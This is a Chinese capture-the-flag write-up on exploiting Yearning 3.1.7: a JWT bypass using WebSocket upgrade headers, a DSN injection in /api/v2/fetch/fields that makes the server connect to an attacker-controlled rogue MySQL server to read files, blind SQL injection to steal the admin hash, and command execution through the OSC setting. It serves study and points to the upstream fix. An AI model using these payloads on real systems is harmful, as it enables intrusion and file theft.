前言

非常好的一道题,是个0day题,应该是我这年打比赛遇到最好的题目之一了。

题解

权限绕过

题目给的Yearning版本是3.1.7,是最新版,老版本的有个目录穿越洞,但现在肯定是没有的了。然后当时先是审计了下他自己写的Yee这个框架,确实是没发现什么洞。之后就Yearning本身来看了,远程环境密码和JWT的SECRET_KEY 是改了的,然后寻找权限绕过的地方。

然后注意到这里 middleware.JWTWithConfig 这个中间件

image-20240430231347069

image-20240430231401175

本意是想升级为 WebSocket 连接,但后续有部分接口并没有再校验 JWT,导致了权限绕过

我们HTTP请求头部加上

Connection: upgrade
Upgrade: websocket

就能绕过鉴权访问部分接口

注意这里只能访问没有校验JWT的接口,像这些会再解析JWT的接口是用不了的

image-20240430232048190

原因是 JwtParse 会从ctx中去 auth

image-20240430232125250

而我们并没有登录,所以并没有往上下文写 auth ,所以获得的 user 是 nil ,会抛出一个空指针的错误,后续流程就断了

寻找可用的接口

比赛时我找了个可用的接口,确实是和现有wp给的是一样的, /api/v2/fetch/fields 这个接口

这个接口没有校验 JWT,同时他的一些参数是可控的

image-20240430232638224

所以一个办法是利用可控的 DBName

先来看看他是怎么连数据库的吧

model.NewDBSub 这里会将其配置初始化为DSN字符串

image-20240430232826591

内部调了 cfg.FormatDSN() 来格式化DSN字符串

image-20240430233003713

目前 cfg.DBName 我们是可控的,所以我们尝试可以构造这样的DName:@tcp(yourip:yourport)/dbname?allowAllFiles=true#

这样经过格式化处理最终得到的 DSN 就是 user:password@(127.0.0.1:3306)/@tcp(yourip:yourport)/dbname?allowAllFiles=true#

然后调用 gorm 发起连接,而这里又用 go-sql-driver 1.7.1 的 mysql.ParseDSN 将原来的 DSN 字符串解析为Config,而且关键他是从后往前解析的(从后往前解析是为了适配用户名或密码中出现 / 的问题),所以解析得到的倒数第一个 /? 之间的是数据库名,倒数第一个 @之前是用户名和密码,之后为ip:port

image-20240430234433958

所以解析出来的 host 和 port我们都是可控的,而且也可以添加 allowAllFiles=true 参数关闭 LOAD DATA LOCAL INFILE 的白名单限制 https://github.com/go-sql-driver/mysql?tab=readme-ov-file#load-data-local-infile-support

关于mysql读文件的可以参考 MySQL客户端任意文件读取

我们起一个恶意的mysql服务器,客户端发起的mysql连接,利用 LOAD DATA LOCAL INFILE 来读取远程服务器的文件

这里使用 https://github.com/rmb122/rogue_mysql_server

然后我们可以构造如下payload来发起一个mysql连接

GET /api/v2/fetch/fields?data_base=%40tcp(YOURIP%3aYOURPORT)/dbname%3fallowAllFiles%3dtrue%26&table=1 HTTP/1.1
Host: 111.229.88.145:8000
Connection: upgrade
Upgrade: websocket
Connection: close

这里注意下不能用 # 截断后面的参数,用&连接

image-20240501000424961

另外值得注意的是这里我们原本是要从对应 source_id 参数查找数据库中的密码进行解密操作的,但这里解密失败了正常处理了错误,所以后续流程并不会终止

image-20240501000721979

image-20240501000820988

成功读取远程服务器文件

image-20240501001605416

出题人的预期解

出题人的预期解还是这个接口,不同的是利用了下面的sql注入来完成对admin密码的窃取

不过这个有个问题目标服务器有可用的数据源,且我们得知道目标服务上的 source_id

u.DataBaseu.Table 我们是可控的


if err := db.Raw(fmt.Sprintf("SHOW FULL FIELDS FROM `%s`.`%s`", u.DataBase, u.Table)).Scan(&u.Rows).Error; err != nil {
    return err
}

在 SHOW 语句中,我们可以注入一个 where 语句

existed` where 1=if(1=1,1,0)#

利用这个盲注可以得到admin的密码,然后利用 hashcat 对密码进爆破

之后登录后台

利用 OSC 来完成RCE

IsOSC = true 
OscSize = 1 
OSCExpr = bash -c "touch hacker"

在设置面板中按照上述方式配置 Yearning

image-20240501010000554

ALTER TABLE yearning.aaa
ADD COLUMN bbb varchar(20) DEFAULT '' COMMENT 'bbb'

CREATE TABLE aaa AS
SELECT *
FROM information_schema.COLUMNS;

运行上面2个DDL,执行命令

总结

总的来说是一道非常精彩的题目,越权这个当时做题时还是找到了的,这个接口也是看了的,但确实对go不是很了解,尤其时 go-sql-driver <= 1.7.1的解析DSN的特性。现在看来确实是学到了很多

然后关于 go-sql-driver ,在1.8 版本处理了 dbname 中的特殊字符,使用 url.PathEscape(cfg.DBName) 进行了处理 https://github.com/go-sql-driver/mysql/pull/1432

image-20240501003452527

附官方:https://mp.weixin.qq.com/s/0sBfu94em2sR82OYDZF6zQ